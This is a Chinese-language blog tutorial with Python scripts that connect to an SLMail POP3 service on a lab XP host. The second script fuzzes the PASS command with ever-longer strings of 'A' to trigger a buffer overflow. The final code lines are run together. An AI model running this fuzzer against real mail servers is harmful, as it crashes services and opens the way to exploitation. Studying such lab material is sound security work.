一个缓冲区溢出的测试代码
# !usr/bin/pythonimport sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#socket默认使用的开头print("devil buffer start")s.connect(('192.168.56.129', 110))data = s.recv(1024)print d...
·
# !usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #socket默认使用的开头
print("devil buffer start")
s.connect(('192.168.56.129', 110))
data = s.recv(1024)
print data
s.send('user admin'+'\r\n')
data = s.recv(1024)
print data
s.send('pass test\r\n')
data = s.recv(1024)
print data
s.close()
print "\ndone!"
上面的代码,这是我的对192.168.56.129上的110端口进行了一次简单的脚本看是否能被服务器正常接收到我发送的数据,并且回来的包能否被我接受。#这是python2的版本
下面的代码被我改进,进行了缓冲区溢出的测试。我的测试目标是在xp中运行的一个邮件服务slmail,这个邮件服务并没有防止缓冲区溢出机制,所以将其测试,具体如何使用这个服务自行百度。
# !usr/bin/python
import socket
buffer = ["A"] #建立一个首元素为A的列表
counter = 100
while len(buffer) <= 50:
buffer.append("A" * counter)
counter = counter + 200 #将列表进行扩充,每次加原先的A*200*n(n是循坏的次数)
for string in buffer:
print("fuzzing pass with %s bytes" % len(string))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.129', 110))
s.recv(1024)
data = "user test \r\n" #这里面\r\n很重要, windows中\r\n代表换行,unix换行为\n,mac底下为\r,相当于回车
s.send(data.encode()) #encode()在我的博客里有介绍,相关socket模块知识,请在本博客搜索 socket模块 s.recv(1024) data = "pass " s.send((data + string + "\r\n").encode()) s.send(b'QUIT\r\n')
更多推荐
已为社区贡献2条内容
所有评论(0)